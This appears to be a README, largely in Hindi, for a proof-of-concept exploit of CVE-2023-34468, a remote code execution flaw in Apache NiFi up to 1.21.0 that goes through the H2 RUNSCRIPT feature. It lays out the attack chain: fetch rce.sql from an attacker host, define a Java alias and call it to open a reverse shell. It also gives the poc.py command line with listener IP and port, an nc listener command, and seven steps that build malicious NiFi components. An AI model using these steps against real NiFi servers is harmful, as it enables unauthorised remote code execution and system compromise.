
CVE-2023-34468 के लिए PoC एक्सप्लॉइट — Apache NiFi <= 1.21.0 में H2 RUNSCRIPT के माध्यम से RCE
Apache NiFi <= 1.21.0 में H2 Database RUNSCRIPT के माध्यम से Remote Code Execution
Apache NiFi डिफ़ॉल्ट रूप से एक H2 database JAR के साथ आता है। DBCPConnectionPool
controller service को इस H2 driver का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। H2 एक RUNSCRIPT
statement का समर्थन करता है जो किसी remote URL से SQL फ़ाइल प्राप्त करके निष्पादित करता है। वह SQL फ़ाइल
CREATE ALIAS के माध्यम से मनमाना Java कोड परिभाषित कर सकती है और उसे सर्वर OS पर निष्पादित कर सकती है।
Attack chain:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Version |
|---|
| Apache NiFi | <= 1.21.0 |
| Fixed in | 1.21.1+ |
| Java | Any (bundled) |
requests library → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
| Argument | Default | Description |
|---|---|---|
--target | http://NiFi.target.com | Target NiFi base URL |
--lhost | 10.10.10.10 | Your IP (tun0) |
--lport | 4444 | Reverse shell listener port |
--http-port | 80 | Port to serve rce.sql |
--cleanup | False | Delete created artifacts after run |
Terminal 1 — listener:
nc -lvnp 4444
Terminal 2 — exploit:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)